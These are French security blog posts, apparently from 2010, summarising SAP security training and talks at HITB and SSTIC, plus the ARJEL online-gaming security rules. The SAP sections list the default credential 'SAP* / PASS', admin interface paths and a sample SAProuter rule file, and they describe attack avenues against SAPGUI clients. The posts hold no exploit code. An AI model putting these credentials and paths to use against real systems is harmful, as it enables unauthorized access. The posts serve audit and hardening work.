Je continue mon aventure sur la sécurité de SAP (cf. traning1 et training2). Ici, l'orateur part du principe que le système SAP est correctement sécurisé et que les vecteurs d'attaque sur le système (OS, DB, appli, services additionnels) ne sont pas exploitables depuis notre point d'attaque. Ce qui, pour une version récente de la plateforme serait envisageable. Du moins, admettons.
Alors, le vecteur d'attaque sera l'utilisateur. En effet, c'est lui qui aura les permissions appropriées pour ce connecter au serveur SAP et une fois son poste de travail compromis, nous aurons la possibilité de nous attaquer au cœur de notre cible. De plus, les utilisateurs sont nombreux donc plus de chance de succès.

L'utilisateur se connecte au serveur SAP via le client SAPGUI. Premier point : les flux ne sont pas toujours chiffrés et seulement compressé au mieux (XOR avec une clé connue, base64, ...).
Deuxième point : SAPGUI est vulnérable à un certain nombre d'attaques :

a) SAPGUI utilise des activeX et alors, les vulnérabilités concernant ce dernier sont aussi valables pour notre cible (ex : des buffer overflows sont réalisables). Aussi, les activeX permettent des intéractions avec les fichiers enregistrés sur le serveur : et si on changeait la configuration du serveur pour supprimer des protections ? Enfin, il est possible d'exécuter des commandes système ou de déployer un cheval de Troyes.
b) Une fois le client compromis, il est possible de retrouver des données intéressantes sur la machine de la victime. Par défaut, nous les retrouverons dans le répertoire c:\windows\sap.
c) D'autres attaques souvent prometteuses peuvent être menées sur le client : XSS (stored XSS notamment dans une fonction d'upload), phishing, XSRF, etc ...
d) Il est même possible d'obtenir un shell en uploadant une page HTML dans une fonction d'upload du client.

Afin d'empêcher ce type d'attaque, voici quelques recommandations fournies par Alexander :

Effectuer les mises à jour nécessaires : les dernières versions sont bien mieux protégées ;
Tester la force des mots de passe des clients et appliquer un seuil d'échec pour la tentative de connexion ;
Quelques configurations au niveau de la clé de registre permettent de mieux sécuriser le client ;
Attention, à minuit, une option permet de délocker tous les utilisateurs ! A supprimer.

Des infos supplémentaires peuvent être trouvées ici.

Conf 3 - Laurent OUDOT - Web in the Middle - Attacking Client

La première conférence de l'après-midi nous parlait d'attaque de type MiTM que nous connaissons tous mais d'un type plus particulier qu'on appellera WiTM. En fait, il s'agit ici d'opérer sur des réseaux publics et si pensez réseaux Wi-Fi ... vous pensez juste !
En face, nous avons tous les appareils mobiles capables de se connecter via le Wi-Fi. En particulier, nous avons les smartphones et tout objet qui se croque ( [Début private joke] Oui Fred, j'ai décidé de reprendre le concours d'hier [Fin private joke] ;)).

J'ai retenu deux idées principales pendant la conférence :

Lors d'une communication dite sécurisée via SSL, toutes les requêtes ne sont pas toujours envoyées de manière sécurisée. En effet, de la page de login à la déconnexion de l'utilisateur, nous pouvons retrouver des requêtes HTTP. Cela peut concerner notamment les pages de déconnexion ;
Nous pouvons modifier le user-agent dans nos requêtes et voir le comportement du site WEB qui peut être différent pour certains.

A partir de ces deux idées, cela a donné naissance à des 0days que nous a présentés le speaker. Les références associées sont les suivantes :

CVE-2010-1752 qui concerne l'iPhone ;
CVE-2010-0028 qui concerne le navigateur du HTC (Opera) ;
CVE-2010-0027 qui concerne les blackberry (vulnérabilité dans le "hotspot browser") ;

La démonstration réalisée en live concernait une dernière vulnérabilité touchant cette fois l'iPad. Une vulnérabilité dans son navigateur (Safari) permet de le crasher pour l'instant et peut être plus plus tard.

Il y a certainement eu un très gros travail derrière tout ça pour trouver et exploiter les vulnérabilités. Malheureusement, aucune explication n'a été fournie sur celles-ci. Aucun point technique n'a été abordé non plus. Même si cela se comprend vis à vis des constructeurs, cela a enlevé du piquant à la présentation.

Conf 4 - Niels TEUSINK - Owned Live on Stage: Hacking Wireless Presenters

Pour le coup, la présentation qui a suivi a été très explicite dans son explication et sa démonstration ! De plus, il s'agit là d'un sujet tout à fait original : le hacking à travers les périphériques sans fil !

A priori, tout périphérique sans fil pourrait nous servir entrer en ligne de mire. Tout d'abord, nous connectons via USB un périphérique sans fil (un appareil Logitech R-R0001 pour la présentation) sur deux PCs différents. Un des PC représente la machine de l'attaquant et l'autre, celui de la cible. Et vous avez bien compris, nous allons tenter de faire communiquer les appareils sans fil entre eux pour compromettre la machine cible !

Je vous passe les détails techniques de ces attaques physiques : il ne s'agit tout simplement de mon domaine et ne suis pas en mesure de vous apprendre quelque chose à ce sujet. Cependant, la technique d'attaque consiste dans un premier temps à sniffer via le BUS avec le matériel adéquat. De l'autre côté, le speaker choisit un appareil sans fil un peu différent. Pour résumer, le but va être de trouver le bon canal de communication qui nous permettra de communiquer entre les deux appareils. Une fois le canal trouvé, les appareils sont "liés" et là, le speaker nous montre ce qu'il est possible de faire : un connect-back sur du VNC sur la machine cible. Je peux juste vous confirmer que ça a bien marché pendant la démonstration ! C'est assez terrifiant non ? Et là, ce n'est pas une souris sans fil que vous tenez sous la main ? ...

Aujourd'hui, la sécurité n'existe pas pour les périphériques en question : il est donc important de créer un protocole sécurisé et d'utiliser une cryptographie fiable afin d'éviter des attaques de ce type.

Conf 5 - Tamas RUDNAI - Fireshark

Le speaker nous présente ici un plugin de Firefox. Un de plus ! Mais particulier celui-ci puisqu'il permet de cartographier les sites infectés par les malwares. Pour cela, le plugin visite les pages web et collecte les informations dont il a besoin (code source, redirections, screenshots, etc.).
Un autre but est de désobfusquer le code, ce qui permettra d'étudier les malwares rencontrés sur les sites.

L'outil peut fonctionner selon deux modes :

le Network mode : ou mode automatique ;
le Single-user mode : l'utilisateur choisit les sites qu'il souhaite inspecter ;

La dernière fonctionnalité qui n'a pas été évoquée est le post-processing. Le but est de pouvoir analyser un malware à partir des preuves collectées précédemment.

Étant donné que les malwares sont de plus en plus nombreux, ce plugin a tout à fait sa place au sein des outils d'un chercheur. En effet, outre le rôle de prévention (en évitant ainsi de visiter des sites contaminés), l'analyse des malwares permet de mieux comprendre les nouvelles attaques et d'en trouver les contre-mesures.

Fin de cette première journée. La suite dans le billet suivant.

[HITB Conference] SAP Hacking - Overview 2/2

2010-06-30T13:56:00.000-07:00

Deuxième et dernier jour de training sur la sécurité de SAP. Beaucoup de choses mais ça reste tout à fait intéressant. On continue notre tour d'horizon !

La sécurité de l'authentification

Sur les systèmes SAP, il est possible de se connecter de plusieurs manières différentes. En particulier, il est possible de se connecter :

via un login/mot de passe (classique) ;
SNC (Secure Nework Communication) permet de se connecter à l'aide d'une librairie extérieure (ex : NTLM) ;
via un certificat ;
par ticket (dans le cadre d'une authent' par SSO notamment ;
PAS (Pluggable Authentication Service) : utilisation d'une autre base d'authent' (ex : LDAP) ;

Bon, on conviendra que ce n'est pas le choix qui manquent. Après, ils ne sont pas tous égaux en termes de fiabilité...

La sécurité des utilisateurs

Tout d'abord, il existe plusieurs types d'utilisateur. Le type attribué dépendra de la connexion et du niveau de sécurité attendu. Par exemple, le type Dialog permet un accès direct au système SAP. Ce qui n'est pas le cas pour le type system mais ce dernier impose un mot de passe qui n'expire pas.
Une fois n'est pas coutume, il existe pas mal de comptes par défaut sur un système SAP. Évidemment, il est recommandé de verrouiller les comptes en question ou du moins, d'en changer les mots de passe.
Le compte privilégié est SAP*. Tiens, il me semble qu'on avait vu que ce compte avait un mot de passe par défaut trivial ... De plus, ce compte ne peut pas être supprimé ! Il existe cependant des moyens de sécuriser de tels accès.

La politique de mots de passe

L'encodage des mots de passe a évolué au fur et à mesure des versions de SAP. Aujourd'hui, les plus complexes sont hashés avec SHA1 et bénéficient d'un sel aléatoire. Les précédents sont cassables avec john patché. Ensuite, tous les paramètres classiques et attendus existent (blocage du compte, historique des mots de passe, expiration, etc.).

Les autorisations

Un utilisateur loggé ne peut pas (toujours) faire tout ce qu'il veut. il est soumis à des autorisations. Des contrôles sont donc effectués avant qu'un utilisateur ne puissent réaliser une transaction (au sens SAP) par exemple. Un utilisateur ayant le profile SAP_ALL est le plus intéressant pour un attaquant ; en effet, il permet de réaliser toute action.

La sécurité des communications

Un attaquant peut s'amuser à interagir avec les protocoles utilisés par SAP pour obtenir des informations sur le système ou exploiter des vulnérabilités. il s'agit notamment de :

RFC : permet de lancer des fonctions sur les serveurs distants ;
Commandes externes : une transaction de SAP permet d'interpréter des commandes système (sur le système d'exploitation).

La sécurité des environnements

Dans SAP, nous retrouvons trois instances primaires :

environnement de développement (DEV) ;
environnement de qualification (QAS) ;
environnement de production (PRD).

Quand bien même il s'agit d'instances distinctes, elles sont reliées à une même base (common transport directory).
Il est possible de cloissoner les droits entre ces environnements et au sein de la base. Ainsi, un développeur ne pourra pas porter atteinte à l'intégrité des données de production par exemple. La configuration se fait via une transaction de SAP.

La sécurité du langage de programmation (ABAP)

Un module mal codé pourra permettre de lancer des attaques critiques. En l'occurrence, elles peuvent permettre de contourner les restrictions de droits appliqués à un utilisateur. Ce langage peut aussi permettre de lancer des commandes SQL et ainsi récupérer des données (contournement des contrôles d'autorisation (voir plus haut)).

Quelques portes cachées vers le graal

Il existe plusieurs points d'entrée qu'un attaquant se fera un plaisir d'utiliser pour atteindre sa cible. Il s'agit de service qui, une fois activé, offre une interface Web qui sera plus ou moins bien protégée ... (qui a dit que ça pourrait être accessible depuis Internet ??? ;)
Il pourra notamment compromettre l'application via les interfaces d'administration souvent mal protégée (d'après quelques recherches sur google ...).

http://serveur:port/chemin_vers_WGate/service/!?variable
http://serveur/scripts/wgate/webgui!?~client=000
http://serveur:port/chemin_vers_WGate/admin/!

Conclusion

Voilà, c'est terminé pour la formation. Je n'ai pas été exhaustif mais je pense avoir fourni un bon aperçu. Ici, nous avons surtout vu les différents points de sécurité à aborder pour la sécurisation d'un système SAP ... ou les vecteurs d'attaque pour un attaquant.
Nous ne serons pas sans reparler de SAP car deux confs sont prévus sur le sujet. Aussi, j'espère trouver l'occasion de vous faire un retour d'expérience sur un audit afin d'illustrer cette théorie par la pratique :)

[HITB Conference] SAP Hacking - Overview 1/2

2010-06-29T10:58:00.000-07:00

Après le SSTIC, on enchaîne avec le HITB à Amsterdam et cette fois, je vais essayer de tenir le rythme pendant les quatre jours pour mettre à jour mon blog quotidiennement. Inscrit à la formation SAP Security, je vais en profiter pour vous donner un aperçu ces deux premiers jours. Plus tard, il me restera à vous donner un exemple pratique ;)

A quoi ressemble la bête ?

SAP, c'est un ERP utilisé par pas mal d'entreprise car en gros, ça permet de gérer sa production de bout en bout. Par contre, c'est lourd à mettre en place et la sécurité est rarement la priorité des intégrateurs. Rien de nouveau, c'est souvent comme ça. Mais ça veut juste dire aussi qu'il y a moyen de s'amuser ;

Alors plutôt que de vous faire un cours sur SAP (d'ailleurs, je ne suis pas expert !), je vous donne les éléments principaux à prendre en compte pour sa sécurité.

Le cœur est représenté par le système SAP contenant notamment la base de données (ex : Oracle) ;
Dans cette base de données, se trouvent généralement des choses très intéressantes :p ;
Pour se connecter à la plateforme SAP, on bind avec des clients, à considérer en tant que passerelle en fait. Concrètement, on peut utiliser comme interface de connexion SAPGUI et s'attaquer à ces clients. Vous allez chercher cette outil et vous allez vous rendre compte qu'il est payant. Et comme il ne vous viendrait pas à l'idée d'utiliser une version crackée, il existe en fait une version JAVA gratuite ici ;
Il est possible de se connecter depuis l'extérieur au clients SAP. Dans ce cas, une ou deux couches s'interposent : le SAP Router et le Webdispather. Nous reparlerons de ces deux éléments plus loin ;
SAP, c'est quand même bien complexe et quand ça marche, c'est déjà bien. C'est pour ça que la sécurité est souvent laissée de côté ...

Malgré tout cela, je ne voudrais pas que vous soyez perdu. Je penserai donc à ajouter un schéma.

La sécurité de SAP (depuis l'externe généralement)

Comme promis, nous allons parler de deux composants clés qui permettent d'apporter la sécurité à l'architecture SAP. Ces composants sont utilisés pour les connexions venant de réseaux qui ne sont pas de confiance généralement (ex : Internet).

Le SAP Router

Pour commencer, le SAP Router. On le retrouvera généralement sur le port TCP/3219. Il permet notamment de filtrer les IPs autorisées à communiquer avec les clients SAP. 3 niveaux de permission sont possibles :

D pour deny ;
P pour permit ;
et S pour ne permettre que les flux SAP (ce qui est contournable ...) ;

Par défaut, ce composant fonctionne par liste blanche, ce qui est un bon point ... sauf si l'administrateur finit par mettre une règle équivalente à "permit any any" parce qu'il n'a pas le courage d'écrire toutes les autorisations et encore une fois, il faut que ça marche avant tout !
Pour chaque règle, nous pourrons associer à l'IP (ou plage d'adresse IP) autorisée un mot de passe (clé partagée). Pour être plus clair, voici un exemple de fichier de règles :

S 192.168.1.* SAPROUTER * motdepasse
D * * * *

Autre lacune du SAP Router, ces mots de passe sont visibles en clair dans le fichier de configuration. Dans le cas où le SAP router est bien configuré, il faudrait prendre la main sur la machine d'un utilisateur ayant la bonne adresse IP. Ensuite, comment obtenir un compte ? C'est en clair dans les profiles de l'utilisateur ...

Le Webdispatcher

Cette fois, nous nous attaquons à la couche applicative. A l'instar du SAP Router, le Webdispatcher va fonctionner à partir d'une liste blanche mais concerne les URLs autorisées cette fois (et non plus les IPs / services).
Il existe un compte par défaut qu'il peut être intéressant de connaître : icmadm. Mais le mot de passe est généré aléatoirement. On peut toujours essayer de trouver le mot de passe : l'interface d'administration se trouve à l'adresse suivante :

http://host:port/sap/wdisp/admin/default.html

Le Webdispatcher peut avoir d'autres fonctions comme la répartition de charge (load balancing) et le chiffrement des communications (de bout en bout ou non selon que l'on souhaite analyser les flux par exemple).

Pour terminer, voici un exemple de fichier de configuration (on retrouve les P et D pour respectivement Permit et Deny) :

P /sap/authorized.cgi
D *.php
D *

La sécurité de SAP en général

Instances SAP

Pour attaquer les instances SAP, nous aurons besoin de deux éléments :

l'ID de l'instance (SAPID) ;
un compte (login / mot de passe).

Concernant le premier élément, il est généralement le même que l'instance de la base de données. Si nous trouvions ce dernier, nous aurions de grandes chances d'avoir l'élément recherché.
Quant aux comptes, il en existe par défaut. En effet, à part les 3 clients SAP créés par défaut, les autres qui seront générés auront pour couple login / mot de passe :

SAP* / PASS

Les autres composants

L'architecture SAP dispose d'une base de données et d'un système d'exploitation au moins sur lequel repose la base de données. Plusieurs solutions peuvent être mises en place : Oracle, Informix par exemple côté base de données. Linux et Windows côté OS. Ces éléments clés au sein de l'architecture devront eux aussi être sécurisés.
Il y aurait beaucoup à dire et il ne s'agit pas d'éléments spécifiques à proprement parlé. Nous ne détaillerons donc pas ces points mais il est important de noter qu'ils doivent être traités afin de ne pas constituer les maillons faibles de l'architecture mise en place.

Petite conclusion

Nous avons commencer à aborder la sécurité de SAP tout en voyant des pistes potentielles d'attaques durant nos explications.
Pour faciliter la tâche d'un auditeur (ou d'un attaquant ...), il existe des plateformes d'audit tels que BIZSPLOIT dont je ne manquerai pas de vous parler et SAPSPLOIT sur lequel je reviendrai aussi puisqu'une conf y sera dédiée.

[ARJEL] Sécurité et jeux en ligne

2010-06-18T14:01:00.001-07:00

Depuis peu, les jeux de pari en ligne sont autorisés sur la toile en France, à l'exception des jeux de poker qui le seront très prochainement. Un enjeux évident de sécurité entre en considération. Quand on annonce 2 milliards de chiffre d'affaire sur ce marché, il y a de quoi attirer des joueurs honnêtes ... et d'autres moins honnêtes.

L'ARJEL, qu'est ce que c'est ?

L'ARJEL, c'est l' "Autorité de Régulation des Jeux En ligne". Elle a pour rôle de s'assurer notamment que les jeux proposés en ligne se déroulent selon des règles bien précises en termes de législation outre les règles mêmes du jeu. Cette autorité a largement considéré la sécurité dans son cahier des charges. Un opérateur ne pourra légalement proposé ses jeux en ligne que si et seulement s'il est en accord avec ce cahier des charges. Nous allons montrer quelques points de sécurité à respecter dans ce cadre de jeux en ligne.

L'ARJEL, concrètement, ça donne quoi ?

Pour connaître exactement les exigences requises par l'autorité, le lecteur pourra se documenter en lisant le cahier des charges établi, téléchargeable ici.

S'il y a bien un principe à retenir, c'est la traçabilité. En l'occurrence, les opérations de jeu doivent être tracées. Il doit être possible de retrouver les actions d'un joueur à travers les logs. Mieux, les traces doivent être archivés de manière sécurisées afin de s'assurer de l'intégrité des logs. Plus précisément, les traces doivent être :

horodatées ;
chaînées ;
scéllées ;
à la disposition de l'ARJEL.

Au total, les traces doivent être conservées pendant 5 ans.

Un deuxième principe à mettre en place est la confidentialité des données. Pour cela, il est demandé à ce que les communications soient chiffrées. De plus, les moyens cryptographiques mis en place doivent suivre les bonnes pratiques. Notamment, le niveau de sécurité doit être suffisant pour les points suivants :

le générateur de nombres pseudo-aléatoires ;
l'algorithme de hashage ;
les algorithmes à base de clés symétriques ou asymétriques employés.

L'ARJEL tient compte aussi de l'architecture de la plateforme de jeux en ligne. Tout d'abord, plusieurs composants sont définis : un frontal (en lien direct avec l'utilisateur), la plateforme de jeux (partie applicative pure), la plateforme de l'ARJEL avec un lien entre l'opérateur et l'autorité : cette dernière doit en effet pouvoir récupérer des données à tout moment à des fins de contrôle. Ensuite, des équipements de sécurité sont attendus comme des équipements de filtrage. Concernant les systèmes eux-mêmes, il est attendu qu'ils soient sécurisés (mise à jour, pas de mot de passe par défaut, durcissement système, etc.).

Concernant les contrôles justement, des audits périodiques et/ou à la demande devront être réalisés. Ces audits devront s'assurer de la sécurité du logiciel de jeu et du respect des règles. L'audit technique sera étendu à l'audit de code pour vérifier en profondeur la sécurité du logiciel.
Le contrôle pourra être fait ponctuellement par l'ARJEL en accédant au coffre-fort de l'opérateur où seront archivés les traces des opérations de jeu. L'autorité devra donc y avoir un accès.
Ensuite, des moyens de supervision doivent être mis en place. Pour terminer, l'identité du joueur doit être considérée afin de pouvoir l'identifier justement et s'assurer qu'il n'est pas interdit de jeu.

Pour obtenir l'agrément, des critères rigoureux doivent être respectés tels que :

une certification CSPN ou mieux pour le coffre fort ;
une authentification forte doit être nécessaire pour se connecter au coffre fort (avec une gestion de droits d'accès selon 4 profils définis) ;
un reverse-proxy applicatif ou une solution similaire doit être déployée en frontal ;
l'horloge utilisée doit être considérée comme fiable, c'est à dire à + ou - 1 seconde de l'UTC ;
une architecture en haute disponibilité doit être mis en place.

L'ARJEL va encore plus loin en termes de sécurité dans le sens où elle va au-delà de la sécurité technique. D'une part, la sécurité organisationnelle est prise en compte avec par exemple :

la gestion des incidents ;
le plan de sauvegarde ;
l'organisation (humaine, implémentation géographique, politique de sécurité, etc.)
etc.

D'autre part, la sécurité physique :

contrôle d'accès physique ;
gestion du personnel ;
etc.

Pour conclure ...

Il faut dire ce qui est, l'ARJEL a voulu faire les choses bien et les gens qui s'y sont penchés y connaissent vraiment quelque chose (qui a dit que ce n'était pas toujours le cas ??? ;)
Outre des exigences, elles sont réalistes. Pour preuves, des pistes d'implémentation sont fournies (ex : process de traçabilité).
Aussi, l'autorité a tenu compte de a sécurité selon les différents axes : techniques organisationnel et physique.
Le cahier des charges n'est pas encore terminé mais à ce jour, il fournit déjà toutes les chances que les jeux se déroulent avec les mêmes chances pour tous :)

[SSTIC 2010] Day 3

2010-06-14T14:22:00.000-07:00

Une troisième journée qui finit en beauté cette édition 2010 !

Matinée

Trusted Computing : limitations actuelles et perspectives

Euh ... ça avait l'air intéressant ... ;)

JBOSS AS : Exploitation et sécurisation

Voilà un sujet qui m'intéresse beaucoup pour plusieurs raisons :

ça parle de pentest et ça, je kiffe ! ;)
on rencontre souvent ce genre de plateforme durant les audits ;
j'avais abordé ce sujet dans un MISC avec un collègue : ravi de voir les nouveautés.

Après avoir rappelé les travaux déjà réalisés sur le sujet (par la RedTeam notamment), l'orateur a abordé la sécurité des nouvelles versions, ie JBOSS 5 et 6. En résumé, c'est mieux mais il reste toujours des failles exploitables ! En effet, la sécurité n'est pas appliquée par défaut ou alors mal (on se souvient de la sécurité des interfaces d'administration sur les requêtes GET et POST uniquement ...). La sécurisation est possible mais malheureusement, rarement prise en compte dans les entreprises, en démontrent les cas rencontrés lors des audits.

Audit d'application .NET complexes / Nicolas Ruff

Le retour de Nicolas ! Autant sa conf de l'année dernière avait pour but d'apporter une ouverture d'esprit sur la SSI en admettant ses échecs et d'aborder avant tout une reflexion, autant ici, c'est un sujet technique qui nous a été présenté. La démonstration a été réalisée avec une aisance déconcertante.
Le code .Net est passé au peigne fin et l'exemple d'une application Microsoft fait mouche : on bypass le formulaire de licence d'un produit de karaoké.
Seul regret, nous n'avons pas eu l'occasion de découvrir les talents de chanteur de Nicolas ! ;)

MLState, langage OPA / Mathieu Bodet

Disons que cette conférence m'a permis de comparer mon N900 avec le futur iPhone 4 de mon voisin ...
En fait, cette conférence aurait pu être bien car elle traitait d'un sujet que nous rencontrons chaque jour lors de nos audits : la non sécurisation du code qui amène diverse injection. Basée sur des langages sûrs (e.g. OCaml), la solution présentée apporte certainement beaucoup par sa complexité et son niveau de technicité. Pour avoir touché du doigt ce type de langage, je peux vous assurer que ce n'est pas simple. Malheureusement, l'orientation de la présentation était mal choisie avec une présentation des attaques WEB en guise d'intro ... qui a duré 40 minutes ! :(
Vraiment dommage mais je serai ravi de voir une présentation qui entre dans le vif du sujet dès les premières minutes et comprendre comment la solution permet de pallier aux lacunes de sécurité aux sein des codes et jusqu'à quel point.

Après-midi

PoC(k)ET, les détails d'un rootkit pour Windows Mobile 6 / Cédric Halbronn

J'avais déjà vu cette conf lors du séminaire de l'ESEC et encore une fois, Cédric nous montre qu'il est possible de tout faire avec un Windows Mobile 6 : pour l'utilisateur ... mais aussi pour un attaquant. Pour avoir échangé pas mal avec le sujet avec Cédric, on se rend compte qu'on ne peut malheureusement pas faire grand chose (OS multi utilisateur, manque de paramétrage sécurité nativement, facilité de contournement des protections, ...).
Problème, on se rend compte qu'une fois le rootkit installé (via la mémoire, via le WAP Push), l'attaquant a notamment accès à toutes les données confidentielles contenues sur le smartphone. Bon, bah ça, c'est fait !

Projet OsmocomBB / Harald Welte

La suite de la présentation du même orateur : Projet OpenBSC
Lors des deux conférences, on a le droit à du haut niveau ! On parle ici des réseaux GSM et de leur faiblesses sécurité. C'est un gros travail qu'a réalisé Harald en décortiquant les spécifications des réseaux GSMs. il nous fait alors un état de l'art de ces réseaux. Mais plus que la théorie, on a le droit aussi à la pratique.
En créant son propre réseau, Harald maîtrise le sujet et à travers sa maquette montre les possibilités en termes d'attaque. Et on ne voit qu'une chose : rien n'arrête notre orateur !

L'ANSSI / Patrick Pailloux

Le directeur de l'agence nationale de la sécurité (anciennement DCSSI) nous décrit l'agence et ses travaux. En plus des audits pour les différentes administrations, l'agence traite de sujets très intéressants et concrets tels que la sécurité des bracelets électroniques pour prisonniers, la sécurité des systèmes de votes électroniques, etc.
Clairement, ici aussi, ça recrute ! Alors on note une petite concurrence DGSE / ANSSI mais tout à fait cordiale ;)

Voilà, c'est la fin de l'édition du SSTIC. Cette année, j'ai apporté mes commentaires (trop ?) en retard mais va falloir faire mieux la prochaine fois ! :) J'aurais la chance de participer au HITB au début du mois prochain : j'essaierai de vous donner un retour au plus vite pour me rattraper ;)

[SSTIC 2010] Day 2

2010-06-14T13:45:00.001-07:00

Une deuxième journée plus intéressante selon moi ;)

Matinée

Sécurité de la plateforme d'exécution JAVA : Limites et propositions d'amélioration

Après une brève présentation du fonctionnement particulier de JAVA, les orateurs nous ont montré les limites de ce langage. Pourtant, ce dernier bénéficie de mécanismes de sécurité et c'est loin d'être le cas de tous les langages. En l'occurrence, des contrôles sont réalisés à trois niveaux :

à la compilation ;
au chargement de la classe ;
à l'exécution pour les instructions dangereuses.

Malheureusement, des faiblesses sont bien connues à propos de ce langage. D'ailleurs, le dossier du MISC n°45 était consacré à ce sujet. En particulier, les vulnérabilités sont dues à une mauvaise utilisation des mécanismes de sécurité (quand ils sont employés ...), le niveau de privilège des bibliothèques standards et l'éternel soucis de performance au détriment de la sécurité.
Pour résumer les solutions proposés, nous pouvons citer :

la formulation d'un guide de développement et de configuration des paramètres ;
un audit du code pour les fonctions sensibles ;
l'application des bonnes pratiques comme limiter le nombre de bibliothèques utilisées ;
augmenter la confiance dans la JVM et profiter de ses possibilités.

Analyse de l'efficacité du service fourni par une IOMMU

Un bon topo sur les protections et les limitations d'une IOMMU. Une démonstration qui a bien marché. Bref, intéressant ! En résumé, un tel système de protection permet de contrôler les accès aux périphériques et à la mémoire. Cependant, des faiblesses sont notés concernant les périphériques PCI ... tiens tiens, nous n'en n'aurions pas parlé avant de ça ??? Une piste qui a été exploitée ici aussi en montrant l'interception de flux (ici du flux vidéo) entre deux machines.

Quelques éléments en matière de sécurité des cartes réseaux / Loïc Duflot

Alors là, on s'attaque à du lourd ! Quand on parle de mener nos célèbres attaques MITM sur la toile directement, on ne rigole plus. Vous avez rêvé de contrôler le réseau (via la carte réseau donc) de quiconque sur Internet ... ils l'ont fait !
Bon, j'exagère un tout petit peu et il s'agissait d'un POC mais qui semble bien marché et qui pourrait faire très mal si ces connaissances étaient entre les mains d'attaquants ...
Pire, ce dernier a tout le temps d'agir vu les temps extrêmement lents pour la correction d'un firmware dur ce type de matériel.

Après-midi

La sécurité des systèmes de vote / Frédéric Connes

Il s'agissait ici surtout d'une proposition d'une réflexion, d'un protocole pour la sécurisation des systèmes de vote électronique. C'est un sujet qui fait débat car il est difficile d'apporter un niveau de sécurité fort sur ce sujet alors que l'enjeu est très important. Et qui plus est, certains états aux USA en ont de mauvais souvenirs ...
Dans le même temps, les Français prennent de moins en moins la peine d'aller voter (il suffit de regarder les taux d'abstention pour s'en rendre compte de suite) et il s'agit d'une solution qui en soit pourrait apporter une solution ... sur le plan pratique en tout cas car sur le plan de la SSI, cela soulève de nouveaux problèmes.

Applications Facebook : Quels risques pour l'entreprise ?

Une présentation intéressante dans le sens où l'expérience a été bien mené. Maintenant, pourquoi parler de l'entreprise alors que ce genre d'application ne devrait certainement pas être autorisé au bureau. Il existe certainement des réseaux sociaux plus appropriés. Et finalement, je dirai que les utilisateurs chez eux sont certainement plus impactés.
Pour en revenir à la présentation elle-même, les deux orateurs ont voulu faire une démonstration d'une application malicieuse et ils l'ont fait sérieusement ! Après avoir récolté un maximum de membres via une application dont le rôle était de savoir qui nous a supprimé de ses contacts, ils nous ont montré que de multiples informations personnelles ont pu être obtenues. Ils ont aussi montré au passage quelques faiblesses sur le cloisonnement apporté par les applications.
De plus, je pense que les idées qui permettraient de "piéger" un grand nombre d'utilisateurs sont certainement nombreuses : il suffit de voir les communautés déjà existantes (qui ne se préoccupe pas de l'orthographe d'ailleurs ;) et qui suscitent souvent la curiosité des utilisateurs.

Projet OpenBSC / Harald Welte

Je reprendrai cette très bonne présentation dans le billet suivant où un sujet similaire a été traité.

Les rumps sessions

Alors pas de rumps "fun" cette année. il faut dire que nous étions bien servis l'année dernière, notamment avec l'alcootest relié au PAM ;) mais plusieurs rumps sur les pentests (mon sujet de prédilection !) comme le pentests d'un blackBerry Server, le case study d'un pentest d'une société X (ou Y :)), l'exploitation d'Oracle, etc... Bref, frustrant de voir ces sujets abordés en 5 minutes seulement.

[SSTIC 2010] Day 1

2010-06-09T14:47:00.000-07:00

Une nouvelle éditions, de nouvelles conférences et des choses nouvelles ... ou pas !

Matinée

Systèmes d'information : les enjeux et les défis pour le renseignement d'origine technique / Bernard BARBIER / DGSE

Nous pouvons dire que cette édition commence de manière plutôt originale : une présentation de la DGSE ... qui a dit un entretien de recrutement ? :) Sérieusement, passionné par ce milieu, j'ai écouté attentivement ce keynote. La présentation a permis notamment de démystifier ce milieu et de montrer ce qui se passe dans la vraie vie. Bon, je connaissais un peu pour connaître une certaine personne mais chuuuuuuut ... on nous écoute peut être ?
Globalement, on apprend les différentes briques du renseignement en France, l'organisation du renseignement qui est fondé sur le triptyque "voir - sentir - écouter". On ne nous annonce pas que la France est la meilleure dans le domaine (je tiens à le dire car j'en ai vu des conférenciers chauvins ! ;) mais on apprend qu'on s'en sort pas mal et surtout que les menaces sont connues, priotisées et manque "juste" les moyens. Notre pays a pour but de recruter dans ce sens et améliorer encore ses services de renseignements. Les déclarations sur la LIO (ou Lutte Informatique Offensive) font leur effet et on le verra lors de conférences qui suivront. Cependant, Bernard BARBIER, notre orateur, estime qu'il faut avant tout savoir se défendre : "c'est pas faux !".

Tatouage des données d'imagerie médicales / Gouenou COATRIEUX

Quand j'ai lu le titre de la conf, je me suis dit : "encore du watermarking ! mais qu'est ce qu'on va apprendre ?". En effet, nous avions déjà eu une conférence à ce sujet l'année dernière et elle était, à mon goût, très bien faite alors qu'est ce que cette conférence pouvait apporter de plus ? En réalité, un angle tout à fait différent a été abordé ici puisqu'il s'agissait de traiter le sujet dans une tout autre domaine que le média : le domaine médicale et aussi, de prendre en compte de nouvelles contraintes. Donc finalement, cette conférence avait bel et bien un intérêt mais nous restons cloisonné à un milieu particulier qu'est la médecine et il est rare que nous ayons à travailler dans ce domaine ... mais c'est peut être ça le problème ! Un ver du nom de confiker dans les scanners médicaux, ça ne vous rappelle rien ? On n'en parlait justement ce soir devant un verre (et oui j'ai pris un coca et j'assume même publiquement ! :)). C'est donc au sens large qu'il faudrait s'intéresser à la sécurité dans le milieu de la médecine.

Visualisation et analyse de risque dynamique pour la cyber-défense / Philippe LAGADEC

Les termes clé de cette présentation sont la "défense dynamique". Plus précisément, il s'agit de répondre aux attaques menées sur un SI en direct. Pour cela, quatre principes sont pris en considération :

Observe ;
Orient ;
Decide ;
Act.

Pour observer, nous savons faire et ce ne sont pas les moyens qui manquent. Et justement ! En effet, de nombreux équipements et devices en général nous remontent des logs. Mieux, il existe des aggrégateurs de logs. Encore mieux, des corrélateurs de logs que nous appelons SIM (Security Information Management). Cependant, les outils du marché ne sont pas satisfaisant ou en tout cas, pas toujours.
Petit souvenir : je vous parlais de l'outil OSSIM il y a un bon moment déjà et il fait partie de la famille des SIMs. Le défi de l'outil présenté était de rendre l'exploitation de logs la plus simple possible et surtout utile ! Et ce, afin de prendre les bonnes décisions et d'agir en conséquence pour se défendre et voilà, la boucle est bouclée. Et l'outil y parvient dans le sens où il permet d'avoir in fine une cartographie des machines exposées graphiquement et dans une interface qui semble ergonomique. Pour obtenir de tels résultats, il est possible de customiser l'outil en attribuant des valeurs aux assets et la criticité en sera ainsi mieux évaluée.
